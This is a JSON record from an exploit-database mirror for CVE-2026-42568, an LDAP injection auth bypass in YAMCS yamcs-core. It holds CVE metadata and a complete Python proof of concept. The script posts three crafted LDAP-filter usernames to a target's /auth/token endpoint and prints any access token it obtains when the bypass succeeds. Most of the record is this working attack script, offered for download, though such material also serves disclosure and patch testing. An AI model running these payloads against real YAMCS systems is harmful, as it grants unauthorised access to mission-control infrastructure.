{"exploit":{"id":"EDB-52603","name":"YAMCS yamcs-core 5.12.7 - 'username' LDAP Injection","description":"YAMCS yamcs-core 5.12.7 - 'username' LDAP Injection","cves":["CVE-2026-42568"],"author":"Daniel Miranda","published":"2026-05-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52603","path":"exploits/multiple/webapps/52603.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52603.py","vulnerabilities":[{"id":"CVE-2026-42568","state":"PUBLISHED","title":"Yamcs Vulnerable to LDAP Injection in LdapAuthModule","titleSource":"CVE Program","description":"Yamcs is a mission control framework. Prior to versions 5.13.0 and 5.12.7, an LDAP injection vulnerability exists in `org.yamcs.security.LdapAuthModule` when constructing search filters. The username parameter is inserted directly into the LDAP filter without proper RFC 4515 escaping. Versions 5.13.0 and 5.12.7 patch the issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42568","cvss":{"version":"3.1","baseScore":4.3,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42568"},"updatedAt":"2026-06-11T16:14:10.877Z","retrievedAt":"2026-11-25T16:15:43.293Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52603.png?v=2","url":"https://exploitbin.com/exploits/EDB-52603","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52603/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52603/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: YAMCS yamcs-core  5.12.7 - LDAP Injection\n# Date: 2026-05-27\n# Exploit Author: Daniel Miranda Barcelona (Excal1bur)\n# Vendor Homepage: https://yamcs.org\n# Software Link: https://github.com/yamcs/yamcs\n# Version: < 5.12.7\n# Tested on: Linux\n# CVE: CVE-2026-42568\n# Category: Remote / Auth Bypass\n# Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j\n\n\"\"\"\nCVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule\n=========================================================\nThe username parameter in LdapAuthModule is inserted directly\ninto LDAP search filters without RFC 4515 escaping.\n\nRoot cause (LdapAuthModule.java):\n    var filter = userFilter.replace(\"{0}\", username);\n\nWith userFilter=(uid={0}) and username=*)(uid=*))(|(uid=*\nResult: (uid=*)(uid=*))(|(uid=*) — universal match, auth bypass.\n\nOnly affects instances with LdapAuthModule configured.\n=========================================================\n\"\"\"\n\nimport requests\nimport sys\nimport json\n\ndef main():\n    target = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost:8090\"\n    base = target.rstrip(\"/\")\n\n    print(\"=\" * 65)\n    print(\" CVE-2026-42568 — YAMCS LDAP Injection PoC\")\n    print(f\" Target: {target}\")\n    print(\" Requires: LdapAuthModule configured in yamcs.yaml\")\n    print(\"=\" * 65)\n\n    payloads = [\n        {\n            \"name\": \"Universal bypass\",\n            \"username\": \"*)(uid=*))(|(uid=*\",\n            \"password\": \"anything\",\n        },\n        {\n            \"name\": \"Targeted bypass (admin)\",\n            \"username\": \"admin)(|(objectClass=*\",\n            \"password\": \"wrongpassword\",\n        },\n        {\n            \"name\": \"Wildcard match\",\n            \"username\": \"op*\",\n            \"password\": \"anything\",\n        }\n    ]\n\n    for i, p in enumerate(payloads, 1):\n        print(f\"\\n[{i}] {p['name']}\")\n        print(f\"     username: {p['username']}\")\n        print(f\"     password: {p['password']}\")\n\n        try:\n            resp = requests.post(f\"{base}/auth/token\",\n                data={\n                    \"grant_type\": \"password\",\n                    \"username\": p[\"username\"],\n                    \"password\": p[\"password\"]\n                }, timeout=5)\n\n            print(f\"     HTTP:     {resp.status_code}\")\n\n            if resp.status_code == 200:\n                token = resp.json().get(\"access_token\", \"\")\n                print(f\"     [!!!] AUTH BYPASSED\")\n                if token:\n                    print(f\"     [!!!] Token: {token[:50]}...\")\n            elif resp.status_code == 401:\n                print(f\"     [-] 401 — LDAP may not be configured\")\n            elif resp.status_code == 403:\n                print(f\"     [+] 403 — Patched or LDAP disabled\")\n\n        except requests.exceptions.ConnectionError:\n            print(f\"     [-] Connection refused — is YAMCS running?\")\n        except Exception as e:\n            print(f\"     [-] Error: {e}\")\n\n    print(\"\\n\" + \"=\" * 65)\n    print(\" Fix: Upgrade to yamcs-core >= 5.12.7\")\n    print(\"=\" * 65)\n\nif __name__ == \"__main__\":\n    main()","sha256":"a32b24a718076a15d19ddd009d1c228c8a56f913f6884ec21d5e59cd6aded871","bytes":3084,"fetchedAt":"2026-11-26T08:59:03.837Z","encoding":"utf-8 (display only; download retains original bytes)"}